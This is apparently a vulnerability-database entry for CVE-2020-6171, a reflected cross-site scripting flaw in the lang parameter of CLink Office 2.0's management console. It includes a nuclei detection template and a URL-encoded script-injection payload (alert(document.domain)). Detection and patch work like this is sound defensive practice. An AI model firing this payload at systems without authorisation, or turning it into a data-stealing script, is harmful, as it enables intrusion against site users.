HexBrain

Browse / CVEs / CVE-2020-6171

CVE-2020-6171· communilink / clink office· CWE-79

CLink Office 2.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.8%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

CLink Office 2.0 is vulnerable to cross-site scripting in the index page of the management console and allows remote attackers to inject arbitrary web script or HTML via the lang parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Apply the latest security patches or updates provided by the vendor to fix this vulnerability.

How to confirm it

Send: GET {{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1
Positive when: contains "\"></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-6171 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-6171

info:
  name: CLink Office 2.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    CLink Office 2.0 is vulnerable to cross-site scripting in the index page of the management console and allows remote attackers to inject arbitrary web script or HTML via the lang parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://www.deepcode.ca/index.php/2020/04/07/cve-2020-xss-in-clink-office-v2/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6171
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-6171
    cwe-id: CWE-79
    epss-score: 0.04798
    epss-percentile: 0.92019
    cpe: cpe:2.3:a:communilink:clink_office:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: communilink
    product: clink_office
  tags: cve,cve2020,xss,clink-office,communilink,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from